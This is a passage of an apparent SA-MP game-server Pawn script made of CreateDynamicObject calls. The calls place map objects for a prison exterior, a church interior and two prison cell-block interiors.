    prisonextobj = CreateDynamicObject(1221, -1085.23462, -624.18347, 48.71344,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.32153, -626.31311, 47.80145,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.30798, -626.08215, 47.80149,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.30798, -626.08215, 48.70749,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1085.30798, -626.08215, 49.47814,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.32153, -626.31311, 48.69701,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.32153, -626.31311, 49.59633,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(1221, -1086.31006, -626.32947, 50.46774,   0.00000, 0.00000, -2.76000);
    prisonextobj = CreateDynamicObject(928, -1086.25610, -625.36926, 47.63393,   0.00000, 0.00000, 0.00000);
    prisonextobj = CreateDynamicObject(1617, -1075.92273, -612.06934, 48.93948,   0.00000, 0.00000, -90.47999);
    prisonextobj = CreateDynamicObject(971, -1084.34424, -613.05176, 48.22590,   0.00000, 0.00000, 94.25999);
    prisonextobj = CreateDynamicObject(971, -1050.01538, -635.01282, 46.92797,   0.00000, 0.00000, -83.64000);
    prisonextobj = CreateDynamicObject(16322, -1083.20459, -623.02173, 50.02440,   0.00000, 0.00000, -181.25986);
    prisonextobj = CreateDynamicObject(10675, -1065.83008, -624.73956, 55.10530,   0.00000, 0.00000, 89.57999);
    prisonextobjex2 = CreateDynamicObject(934, -1046.75342, -622.92279, 47.76606,   0.00000, 0.00000, 180.59991);
    prisonextobjex = CreateDynamicObject(18886, -1046.76868, -623.04370, 49.05759,   -87.29958, 450.35931, 0.00000);





// Prison Interior (Block C-D)
CreateDynamicObject(14795, -1952.02734375, 319.55859375, 1556.419921875, 0, 0, 0);
CreateDynamicObject(14856, -1982.2502441406, 310.58306884766, 1553.0103759766, 0, 0, 269.86267089844);
CreateDynamicObject(14856, -1982.1527099609, 297.78790283203, 1553.0103759766, 0, 0, 270.42999267578);
CreateDynamicObject(14856, -1955.30078125, 310.517578125, 1553.0103759766, 0, 0, 269.91760253906);
CreateDynamicObject(14856, -1955.2355957031, 297.68200683594, 1553.0152587891, 0, 0, 269.94006347656);
CreateDynamicObject(14856, -1967.1683349609, 291.48199462891, 1553.0063476563, 0, 0, 0);
CreateDynamicObject(7191, -1940.9033203125, 312.8837890625, 1552.4916992188, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.4521484375, 312.8525390625, 1552.7879638672, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.9399414063, 308.58514404297, 1552.4877929688, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.4343261719, 308.56814575195, 1552.7783203125, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.923828125, 304.3232421875, 1552.4890136719, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.5419921875, 304.3759765625, 1552.7795410156, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1941.17578125, 300.05859375, 1552.4903564453, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.7059326172, 300.08673095703, 1552.7969970703, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.9189453125, 317.1494140625, 1552.4918212891, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.419921875, 317.18359375, 1552.7593994141, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.9052734375, 321.3896484375, 1552.4892578125, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.4677734375, 321.408203125, 1552.8001708984, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.3759765625, 300.400390625, 1552.4876708984, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.5268554688, 300.43197631836, 1552.7922363281, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.5513916016, 304.69085693359, 1552.4877929688, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2064.0014648438, 304.74966430664, 1552.7515869141, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.5703125, 308.9443359375, 1552.4877929688, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.705078125, 309.041015625, 1552.7916259766, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.5927734375, 313.1474609375, 1552.5128173828, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.8720703125, 313.21090698242, 1552.8175048828, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.6217041016, 317.38705444336, 1552.5128173828, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.7109375, 317.45928955078, 1552.7879638672, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.6065673828, 321.64151000977, 1552.4877929688, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.6064453125, 321.6904296875, 1552.7879638672, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -1957.0269775391, 252.14627075195, 1552.7377929688, 0, 0, 0);
CreateDynamicObject(8185, -1979.16015625, 332.5576171875, 1552.8200683594, 0, 0, 179.87915039063);
CreateDynamicObject(7191, -1970.6494140625, 277.244140625, 1552.5128173828, 0, 0, 180.54382324219);
CreateDynamicObject(8185, -1970.79296875, 210.111328125, 1552.7879638672, 0, 0, 0);
CreateDynamicObject(7191, -1967.1015625, 277.2021484375, 1552.5266113281, 0, 0, 180.54382324219);
CreateDynamicObject(8185, -1967.2854003906, 210.09719848633, 1552.7916259766, 0, 0, 0);
CreateDynamicObject(2930, -1969.2209472656, 299.84140014648, 1553.7755126953, 0, 0, 266.68997192383);
CreateDynamicObject(2930, -1969.1987304688, 299.85299682617, 1554.9016113281, 0, 0, 269.85998535156);
CreateDynamicObject(8185, -1973.8619384766, 210.86251831055, 1552.7700195313, 0, 0, 0);
CreateDynamicObject(8185, -1963.5128173828, 210.78622436523, 1552.7835693359, 0, 0, 0);
CreateDynamicObject(8185, -1967.1044921875, 295.8896484375, 1552.7584228516, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -1959.099609375, 321.72265625, 1555.0255126953, 0, 270.38452148438, 0);
CreateDynamicObject(8185, -1963.1904296875, 294.6171875, 1555.0394287109, 0, 270.38452148438, 0);
CreateDynamicObject(8185, -1977.0979003906, 322.03402709961, 1555.0300292969, 0, 269.98986816406, 179.87915039063);
CreateDynamicObject(8185, -1974.2322998047, 236.86256408691, 1555.0056152344, 0, 269.98901367188, 180.12634277344);
CreateDynamicObject(8185, -1966.0751953125, 299.51309204102, 1555.0341796875, 0, 269.91760253906, 269.93957519531);
CreateDynamicObject(8185, -1968.0656738281, 295.43124389648, 1555.0625, 0, 269.91760253906, 269.93957519531);
CreateDynamicObject(14856, -1982.2305908203, 310.55645751953, 1557.037109375, 0, 0, 270.18994140625);
CreateDynamicObject(14856, -1982.2038574219, 297.83377075195, 1557.0168457031, 0, 0, 269.94799804688);
CreateDynamicObject(14856, -1955.2662353516, 297.69219970703, 1557.0615234375, 0, 0, 270.0400390625);
CreateDynamicObject(14856, -1955.2908935547, 310.50900268555, 1557.068359375, 0, 0, 270.03503417969);
CreateDynamicObject(14856, -1962.9345703125, 291.34899902344, 1557.0806884766, 0, 0, 0);
CreateDynamicObject(7191, -1940.8953857422, 321.39294433594, 1556.54296875, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.4172363281, 321.40356445313, 1556.8403320313, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.8955078125, 317.13684082031, 1556.5424804688, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.5028076172, 317.15289306641, 1556.8481445313, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.8776855469, 312.8844909668, 1556.599609375, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.4787597656, 312.90173339844, 1556.888671875, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.888671875, 308.58969116211, 1556.5141601563, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.3353271484, 308.64459228516, 1556.8032226563, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1940.8642578125, 304.30532836914, 1556.533203125, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.4217529297, 304.34585571289, 1556.8093261719, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1941.1463623047, 300.04876708984, 1556.5717773438, 0, 0, 269.68139648438);
CreateDynamicObject(8185, -1873.7626953125, 300.12878417969, 1556.8767089844, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -1963.5865478516, 210.6512298584, 1556.8358154297, 0, 0, 0);
CreateDynamicObject(7191, -1967.1049804688, 277.1448059082, 1556.5577392578, 0, 0, 180.54382324219);
CreateDynamicObject(8185, -1967.2955322266, 210.15380859375, 1556.8480224609, 0, 0, 0);
CreateDynamicObject(7191, -1970.6605224609, 277.18765258789, 1556.5705566406, 0, 0, 180.54382324219);
CreateDynamicObject(2930, -1970.5688476563, 299.75317382813, 1557.7376708984, 0, 0, 90.530029296875);
CreateDynamicObject(2930, -1968.8477783203, 299.70120239258, 1558.9705810547, 0, 0, 270.48498535156);
CreateDynamicObject(7191, -1973.7235107422, 277.8752746582, 1556.8625488281, 0, 0, 180.54644775391);
CreateDynamicObject(8185, -1970.85546875, 209.6025390625, 1556.8780517578, 0, 0, 0);
CreateDynamicObject(8185, -1973.8903808594, 210.9912109375, 1557.1719970703, 0, 0, 0);
CreateDynamicObject(7191, -1996.5770263672, 304.69525146484, 1556.4837646484, 0, 0, 89.912109375);
CreateDynamicObject(7191, -1996.6107177734, 308.91772460938, 1556.9924316406, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.5480957031, 300.42544555664, 1557.1602783203, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -2063.66796875, 304.7353515625, 1556.7579345703, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -2063.9260253906, 308.92739868164, 1557.2827148438, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.6363525391, 313.15682983398, 1556.5059814453, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.9670410156, 313.21557617188, 1556.7994384766, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.6550292969, 317.41052246094, 1556.5311279297, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.6232910156, 317.50448608398, 1556.8394775391, 0, 0, 269.93957519531);
CreateDynamicObject(7191, -1996.6156005859, 321.66857910156, 1556.4957275391, 0, 0, 89.912109375);
CreateDynamicObject(8185, -2063.9404296875, 321.67596435547, 1556.7991943359, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -1961.6213378906, 317.45275878906, 1559.1137695313, 0, 270.38452148438, 0);
CreateDynamicObject(8185, -1957.0458984375, 318.5458984375, 1556.8392333984, 0, 0, 0);
CreateDynamicObject(8185, -1959.1127929688, 317.17599487305, 1559.1468505859, 0, 270.38452148438, 0);
CreateDynamicObject(8185, -1975.6759033203, 235.35688781738, 1559.083984375, 0, 269.98901367188, 180.12634277344);
CreateDynamicObject(8185, -1979.2979736328, 235.38467407227, 1559.0830078125, 0, 269.98901367188, 180.12634277344);
CreateDynamicObject(8185, -1970.6865234375, 298.67367553711, 1559.1110839844, 0, 269.91760253906, 269.93957519531);
CreateDynamicObject(8185, -1969.9791259766, 295.06289672852, 1559.1478271484, 0, 269.91760253906, 269.93957519531);
CreateDynamicObject(8185, -1979.2163085938, 306.44381713867, 1557.0904541016, 0, 0, 179.87915039063);
CreateDynamicObject(8185, -2045.6552734375, 324.068359375, 1557.0151367188, 0, 179.30786132813, 270.93933105469);
CreateDynamicObject(8185, -2060.2258300781, 323.91851806641, 1553.1556396484, 0, 0, 90.899658203125);
CreateDynamicObject(8185, -1970.537109375, 327.45257568359, 1467.0310058594, 270.125, 181.92822265625, 2.7088623046875);
CreateDynamicObject(8185, -1968.73046875, 327.306640625, 1555.09765625, 0, 269.91760253906, 90.741577148438);
CreateDynamicObject(8185, -1971.5629882813, 235.36920166016, 1559.1604003906, 0, 269.98901367188, 180.12634277344);
CreateDynamicObject(8185, -1967.41015625, 235.392578125, 1559.1350097656, 0, 269.98901367188, 180.12634277344);
CreateDynamicObject(8185, -1963.2974853516, 235.22749328613, 1559.1359863281, 0, 269.98901367188, 180.12634277344);
CreateDynamicObject(12950, -1971.7060546875, 306.90707397461, 1551.8187255859, 0, 0, 179.8349609375);
CreateDynamicObject(13011, -1965.8310546875, 319.7861328125, 1551.8459472656, 0, 0, 0);
CreateDynamicObject(997, -1972.3828125, 310.9052734375, 1555.2822265625, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1972.3763427734, 314.18505859375, 1555.2572021484, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1972.3879394531, 317.43106079102, 1555.2822265625, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1972.4102783203, 320.64926147461, 1555.2572021484, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1972.4050292969, 323.88732910156, 1555.2574462891, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1972.3839111328, 307.63720703125, 1555.2822265625, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1967.8172607422, 301.55514526367, 1555.283203125, 0, 0, 180.22607421875);
CreateDynamicObject(997, -1965.21484375, 301.57092285156, 1555.3088378906, 0, 0, 180.22521972656);
CreateDynamicObject(997, -1965.2287597656, 304.91326904297, 1555.3240966797, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1965.2830810547, 308.14431762695, 1555.3372802734, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1965.2485351563, 311.39364624023, 1555.3277587891, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1965.2156982422, 314.64700317383, 1555.2994384766, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1965.1774902344, 317.92514038086, 1555.330078125, 0, 0, 270.06591796875);
CreateDynamicObject(997, -1965.1424560547, 321.1884765625, 1555.3210449219, 0, 0, 270.06591796875);
CreateDynamicObject(14843, -1963.6605224609, 327.07647705078, 1556.4564208984, 0, 0, 89.325012207031);
CreateDynamicObject(14843, -1963.525390625, 327.0778503418, 1558.9197998047, 0, 0, 87.875);
CreateDynamicObject(14843, -1973.8836669922, 319.78137207031, 1556.4002685547, 0, 0, 269.85498046875);
CreateDynamicObject(14843, -1973.9049072266, 319.78350830078, 1558.6435546875, 0, 0, 270.11047363281);
CreateDynamicObject(2602, -1957.6140136719, 318.03451538086, 1551.6639404297, 0, 0, 270.42498779297);
CreateDynamicObject(2602, -1957.6773681641, 313.87030029297, 1551.6633300781, 0, 0, 272.53997802734);
CreateDynamicObject(2602, -1957.6658935547, 309.59295654297, 1551.6633300781, 0, 0, 270.30499267578);
CreateDynamicObject(2602, -1957.6903076172, 305.42764282227, 1551.6633300781, 0, 0, 271.58499145508);
CreateDynamicObject(2602, -1957.6988525391, 301.16235351563, 1551.6634521484, 0, 0, 271.14498901367);
CreateDynamicObject(2602, -1966.5261230469, 296.46337890625, 1551.6591796875, 0, 0, 180.32496643066);
CreateDynamicObject(2602, -1969.9650878906, 296.41320800781, 1551.6593017578, 0, 0, 179.29496765137);
CreateDynamicObject(2602, -1973.0743408203, 296.48785400391, 1551.6591796875, 0, 0, 179.18998718262);
CreateDynamicObject(2602, -1978.6046142578, 303.48519897461, 1551.662109375, 0, 0, 91.340026855469);
CreateDynamicObject(2602, -1978.6826171875, 307.96075439453, 1551.662109375, 0, 0, 91.310028076172);
CreateDynamicObject(2602, -1978.6617431641, 312.16101074219, 1551.662109375, 0, 0, 89.795013427734);
CreateDynamicObject(2602, -1978.6811523438, 316.4905090332, 1551.662109375, 0, 0, 88.370025634766);
CreateDynamicObject(2602, -1978.6121826172, 320.66485595703, 1551.662109375, 0, 0, 89.774993896484);
CreateDynamicObject(14843, -1973.8265380859, 327.29730224609, 1552.3774414063, 0, 0, 90.045013427734);
CreateDynamicObject(14843, -1973.9560546875, 327.2685546875, 1553.8774414063, 0, 0, 90.027465820313);
CreateDynamicObject(2602, -1978.6009521484, 324.22418212891, 1551.662109375, 0, 0, 93.235015869141);
CreateDynamicObject(2602, -1957.5933837891, 322.27719116211, 1555.7137451172, 0, 0, 270.15997314453);
CreateDynamicObject(8185, -1970.203125, 327.642578125, 1466.8487548828, 270.11535644531, 181.92810058594, 1.9500732421875);
CreateDynamicObject(2602, -1978.6628417969, 324.23840332031, 1555.73046875, 0, 0, 89.310028076172);
CreateDynamicObject(2602, -1978.6502685547, 320.71636962891, 1555.7303466797, 0, 0, 89.780029296875);
CreateDynamicObject(2602, -1978.5809326172, 316.47808837891, 1555.73046875, 0, 0, 89.575012207031);
CreateDynamicObject(2602, -1978.6195068359, 312.12609863281, 1555.7305908203, 0, 0, 90.075012207031);
CreateDynamicObject(2602, -1978.6402587891, 307.86666870117, 1555.7305908203, 0, 0, 88.105041503906);
CreateDynamicObject(2602, -1978.6583251953, 303.64956665039, 1555.7305908203, 0, 0, 88.605010986328);
CreateDynamicObject(2602, -1973.0220947266, 293.77471923828, 1555.7652587891, 0, 0, 177.20497131348);
CreateDynamicObject(2602, -1969.9428710938, 293.73287963867, 1555.7423095703, 0, 0, 178.73498535156);
CreateDynamicObject(2602, -1966.4704589844, 293.81219482422, 1555.7802734375, 0, 0, 180.30500793457);
CreateDynamicObject(2602, -1957.5755615234, 301.16116333008, 1555.7322998047, 0, 0, 267.46997070313);
CreateDynamicObject(2602, -1957.5793457031, 305.42202758789, 1555.7209472656, 0, 0, 269.68997192383);
CreateDynamicObject(2602, -1957.6171875, 309.62515258789, 1555.7198486328, 0, 0, 266.70498657227);
CreateDynamicObject(2602, -1957.5784912109, 313.88458251953, 1555.7210693359, 0, 0, 270.06500244141);
CreateDynamicObject(2602, -1957.6169433594, 318.14318847656, 1555.7170410156, 0, 0, 269.43997192383);
CreateDynamicObject(1800, -1961.2692871094, 320.74523925781, 1551.1411132813, 0, 0, 268.98498535156);
CreateDynamicObject(1800, -1961.2680664063, 316.51602172852, 1551.1420898438, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1961.2769775391, 312.20745849609, 1551.1419677734, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1960.9217529297, 307.97933959961, 1551.1418457031, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1960.9581298828, 303.77670288086, 1551.1417236328, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1964.2564697266, 299.60986328125, 1551.1380615234, 0, 0, 179.85888671875);
CreateDynamicObject(1800, -1968.1815185547, 299.76638793945, 1551.1379394531, 0, 0, 179.85717773438);
CreateDynamicObject(1800, -1971.7858886719, 295.07000732422, 1551.1101074219, 0, 0, 0);
CreateDynamicObject(1800, -1964.6534423828, 293.22772216797, 1555.2410888672, 0, 0, 0);
CreateDynamicObject(1800, -1968.3931884766, 292.35064697266, 1555.2410888672, 0, 0, 0);
CreateDynamicObject(1800, -1971.9029541016, 292.52554321289, 1555.2414550781, 0, 0, 0);
CreateDynamicObject(1800, -1979.6906738281, 301.57986450195, 1551.138671875, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.9909667969, 305.79147338867, 1551.138671875, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.6428222656, 310.18515014648, 1551.138671875, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1980.0306396484, 314.23861694336, 1551.138671875, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.8522949219, 318.61877441406, 1551.138671875, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.9716796875, 322.81848144531, 1551.138671875, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1961.0004882813, 320.7307434082, 1555.2039794922, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1960.8793945313, 316.49978637695, 1555.2043457031, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1961.0294189453, 312.31121826172, 1555.2147216797, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1960.83203125, 307.99163818359, 1555.2047119141, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1960.998046875, 303.71740722656, 1555.2042236328, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.9578857422, 301.40676879883, 1555.2115478516, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.9219970703, 305.69723510742, 1555.2071533203, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.8625488281, 310.09722900391, 1555.2000732422, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1980.0749511719, 314.2375793457, 1555.2071533203, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1980.0083007813, 318.44985961914, 1555.2071533203, 0, 0, 268.98376464844);
CreateDynamicObject(1800, -1979.9956054688, 322.62905883789, 1555.1820068359, 0, 0, 268.98376464844);
CreateDynamicObject(997, -1965.1840820313, 322.71798706055, 1555.3215332031, 0, 0, 270.06591796875);
CreateDynamicObject(8185, -1963.451171875, 323.3994140625, 1465.3748779297, 90.0439453125, 0, 0);
CreateDynamicObject(8185, -1867.2121582031, 333.81198120117, 1552.3382568359, 179.59002685547, 359.24206542969, 270.43383789063);
CreateDynamicObject(8185, -1867.3763427734, 335.48455810547, 1554.9608154297, 0, 269.91760253906, 90.741577148438);
CreateDynamicObject(8185, -2063.6694335938, 304.74096679688, 1552.8643798828, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -2063.8820800781, 313.18267822266, 1552.8469238281, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -2063.5180664063, 317.47106933594, 1552.7392578125, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -1967.4477539063, 293.16644287109, 1556.8640136719, 0, 0, 269.93957519531);
CreateDynamicObject(8185, -1964.8371582031, 325.44900512695, 1553.2430419922, 90.0439453125, 0, 90.840026855469);
CreateDynamicObject(8185, -1968.6575927734, 325.34436035156, 1551.1127929688, 90.038452148438, 0, 91.0849609375);
CreateDynamicObject(2952, -1967.5461425781, 325.20623779297, 1551.138671875, 0, 0, 271.14498901367);


// Chourch Prison INterior
CreateDynamicObject(9931, 369.681640625, 2339.9267578125, 1904.9915771484, 0, 0, 0);
CreateDynamicObject(9931, 369.7060546875, 2308.431640625, 1904.9920654297, 0, 0, 0);
CreateDynamicObject(6959, 380.3193359375, 2327.4951171875, 1888.5981445313, 0, 0, 0);
CreateDynamicObject(6959, 378.1806640625, 2333.775390625, 1897.5466308594, 296.47705078125, 0, 0);
CreateDynamicObject(6959, 378.0703125, 2314.8393554688, 1897.5084228516, 63.740020751953, 0, 0);
CreateDynamicObject(6959, 363.0498046875, 2326.4736328125, 1902.5007324219, 0, 270.18676757813, 0);
CreateDynamicObject(9931, 409.28952026367, 2325.361328125, 1903.9514160156, 0, 0, 182.88500976563);
CreateDynamicObject(6959, 349.35693359375, 2328.1083984375, 1889.6359863281, 0, 0, 0);
CreateDynamicObject(14394, 370.83624267578, 2320.2700195313, 1888.7946777344, 0, 0, 179.43994140625);
CreateDynamicObject(14394, 370.92697143555, 2328.2631835938, 1888.7946777344, 0, 0, 179.43969726563);
CreateDynamicObject(3657, 373.32641601563, 2328.6003417969, 1889.0850830078, 0, 0, 269.96997070313);
CreateDynamicObject(3657, 375.27359008789, 2328.5871582031, 1889.0850830078, 0, 0, 269.96704101563);
CreateDynamicObject(3657, 377.10638427734, 2328.55078125, 1889.0850830078, 0, 0, 269.96704101563);
CreateDynamicObject(3657, 379.10192871094, 2328.5529785156, 1889.0850830078, 0, 0, 269.96704101563);
CreateDynamicObject(3657, 381.24136352539, 2328.552734375, 1889.0850830078, 0, 0, 269.96704101563);
CreateDynamicObject(3657, 383.30206298828, 2328.5458984375, 1889.0850830078, 0, 0, 269.96704101563);
CreateDynamicObject(3657, 373.34204101563, 2320.0771484375, 1889.0850830078, 0, 0, 269.96154785156);
CreateDynamicObject(3657, 375.22265625, 2320.0434570313, 1889.0850830078, 0, 0, 269.96154785156);
CreateDynamicObject(3657, 377.12313842773, 2320.0419921875, 1889.0850830078, 0, 0, 269.96154785156);
CreateDynamicObject(3657, 379.14074707031, 2320.0615234375, 1889.0850830078, 0, 0, 269.96154785156);
CreateDynamicObject(3657, 381.31060791016, 2320.05859375, 1889.0850830078, 0, 0, 269.96154785156);
CreateDynamicObject(3657, 383.32202148438, 2320.029296875, 1889.0850830078, 0, 0, 269.96154785156);
CreateDynamicObject(8131, 359.04635620117, 2324.1560058594, 1890.9467773438, 334.75, 0, 270.44000244141);
CreateDynamicObject(14705, 367.74389648438, 2322.6496582031, 1890.7045898438, 0, 0, 0);
CreateDynamicObject(2208, 367.70974731445, 2325.3110351563, 1889.6047363281, 0, 0, 269.95498657227);
CreateDynamicObject(2868, 367.74664306641, 2325.3173828125, 1890.4699707031, 0, 0, 0);
CreateDynamicObject(2894, 367.60568237305, 2324.0219726563, 1890.4699707031, 0, 0, 269.39514160156);
CreateDynamicObject(2869, 368.66561889648, 2331.6791992188, 1889.6047363281, 0, 0, 320.9599609375);
CreateDynamicObject(2869, 365.07345581055, 2331.7023925781, 1889.6047363281, 0, 0, 322.20654296875);
CreateDynamicObject(2869, 365.21087646484, 2316.7504882813, 1889.6047363281, 0, 0, 320.95458984375);
CreateDynamicObject(2869, 368.77743530273, 2316.8020019531, 1889.6047363281, 0, 0, 320.95458984375);
CreateDynamicObject(2896, 367.05938720703, 2318.2067871094, 1890.2440185547, 0, 0, 0);
CreateDynamicObject(1664, 367.76473999023, 2323.0808105469, 1890.63671875, 0, 0, 0);
CreateDynamicObject(1667, 367.53042602539, 2323.2294921875, 1890.55859375, 0, 0, 0);
CreateDynamicObject(2869, 375.79760742188, 2316.7111816406, 1888.5668945313, 0, 0, 320.95458984375);
CreateDynamicObject(2869, 382.89117431641, 2316.5712890625, 1888.5668945313, 0, 0, 320.95458984375);
CreateDynamicObject(2869, 375.69821166992, 2331.720703125, 1888.5668945313, 0, 0, 320.95458984375);
CreateDynamicObject(2869, 382.8698425293, 2331.7434082031, 1888.5668945313, 0, 0, 320.95458984375);
CreateDynamicObject(6959, 375.40222167969, 2326.0595703125, 1915.3721923828, 0, 0, 0);
CreateDynamicObject(6959, 387.21533203125, 2323.322265625, 1924.6811523438, 0, 269.68676757813, 2.75);
CreateDynamicObject(3462, 364.39996337891, 2328.1259765625, 1890.3927001953, 0, 0, 179.65002441406);
CreateDynamicObject(3462, 364.37484741211, 2320.1662597656, 1890.3676757813, 0, 0, 180.3984375);


// Prison Interior (Block A-B)
CreateDynamicObject(19377, 2604.69556, -1479.21655, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.24170, -1479.19153, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1479.20496, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.25171, -1479.20496, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.73657, -1488.83032, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.73657, -1498.44824, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.73413, -1508.06628, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.73657, -1517.68286, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2604.71655, -1527.30066, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.23755, -1488.83032, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.23755, -1498.44824, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.23755, -1508.07593, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.23755, -1517.70288, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2594.22144, -1527.33264, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1488.83032, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1498.44824, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1508.07593, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1517.70288, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1527.31873, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.25171, -1488.83032, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.25171, -1498.44824, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.25171, -1508.07593, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.25171, -1517.70288, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2573.25171, -1527.32068, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1488.84753, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1498.46826, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1508.08655, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1517.71619, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19457, 2567.98242, -1527.34375, -48.15700,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19377, 2573.23828, -1536.92749, -50.00000,   0.00000, 90.00000, 0.00000);
CreateDynamicObject(19377, 2583.75342, -1536.94226, -50.00000,   0.00000, 90.00000, 0.00000);
